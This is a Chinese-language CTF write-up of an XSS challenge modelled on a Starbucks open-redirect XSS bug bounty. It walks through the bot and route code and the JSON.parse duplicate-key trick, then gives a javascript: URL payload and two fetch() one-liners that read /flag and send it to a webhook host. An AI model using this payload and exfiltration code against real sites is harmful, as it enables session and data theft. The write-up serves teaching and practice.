starbuck
的XSS Bug Bounty
改编而成的CTF
题目,由我引导团队内一位来自高中的学弟做出(真的卷,高中就开始玩CTF
),从而引发出来的思考和记录,作为本公众号的第一篇技术文章。Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后
XSS
题目,题目只提供部分源码,我习惯于先看一下bot
代码确定flag
位置。这类型题目的考点大概分为两大类,一类要求你伪造cookies
作为admin
访问对应路由,另一类则直接获取cookies flag在cookies里面。bot
源码如下:
1const cookies = [{
2 name: 'jsession',
3 value: 'DELETE',
4 domain: "127.0.0.1",
5 httpOnly:true
6}];
7
8const bot = async function (url){
9 const URL = parse(url, true)
10 try{
11 const browser = await puppeteer.launch({
12 headless: true,
13 args: [
14 '--no-sandbox',
15 '--disable-setuid-sandbox',
16 '--disable-dev-shm-usage'
17 ],
18 dumpio: true,
19 });
20 page = await browser.newPage('http://127.0.0.1:80');
21 await page.setCookie(...cookies);
22
23 console.log(URL.href)
24 await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
25 setTimeout(() => {
26 browser.close();
27 }, 4000);
28 } catch (err) {
29 console.log(`err : ${err}`);
30 }
31}
httponly
为true
,且value
值为delete
,无法明确是要我们要通过bypass
手段,还是参数本身就是delete
,这种情况还是继续回归源码。/flag
路由我们就清楚这道题目是需要伪造cookies
为admin
,再请求/flag
路由,读取flag
。 1router.get('/', (req, res) => {
2 const blog = req.query.blog || 'https://xxxx.com';
3 const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
4 const url = parse(user['setblog'], true)
5 , hostname = url.hostname;
6
7 if (hostname === 'xxx.com' && user['username'] === 'hello') {
8 console.log(1)
9 res.render('index', {url:url});
10 } else {
11 res.render('index', {url:'#'});
12 }
13});
1学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`,但是具体咋做不太懂。"
2我: "我知道你急,但你先别急,你先看上面哪些函数是你见过的,你也打一个多月CTF了。"
3学弟: "JSON.parse!可以原型链污染!"
4我: "啊...?"
JSON.parse
参数可控他立刻就想到了原型链污染,但首先要明确原型链污染构成的条件,是要控制类的原型。JSON.parse
能把__proto__
认为成一个键名,所以在如果有merge
、copy
这类函数进行操作配合JSON.parse
才能进行原型链污染。而且原型链污染要干嘛问他也是一问三不知,所以我引导他看JSON.parse
和判断条件。json
中出现两个相同的键名会怎样呢?”Get
到了我的意思,构造出了如下字符串:","username":"hellousername
值,那我们输入正常的url
,就是上面的xxx.com
,然后输出调试一下。url_parse
的结果,能够控制host
为xxx.com
,但是render url
后又会怎么样呢?我们可以去看靶机。xxx.com
该怎么办呢?”url-parse
的解析手册和一些ssrf
查看的手法后告诉我一无所获…1学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了,javascript也是协议啊!javascript://alert(1)这样是可以的,如果有host我又蒙了...
2我: "建议你去搜索一下bug bounty,这道题目的设计就是基于某个redirect xss的。"
redirect xss
找到了hacker-one
星巴克的一个洞。payload
。xss
,发生在很多可以跳转本站链接中,没多久他又说:“不行,执行不了。”json
传参的错误,我继续问他:“那么什么符号导致的?”。%0a
再编一次码”。但实际上使用编码,比如unicode
,也是完全可以的,最后他成功获得了xss
。javascript://xxx.com/%250Aalert(1)","username":"hello
到这里我们可以来梳理下思路,题目主要考查的是open redirect xss
通过JSON.parse
解析中的闭合修改username
,关键在于能否敏锐捕捉到javascript
协议。
其中他经历的挫折很大程度上是以下几点:1. 懒,没多本地调试更没有多思考;2. 没有充分利用搜索引擎,如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。
1fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))
1fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});
return
就可以了。RealWorld
改写的CTF
题目含金量比较高,也不是很难,自己尝试调试思考,才是学习安全脚踏实力的唯一方法!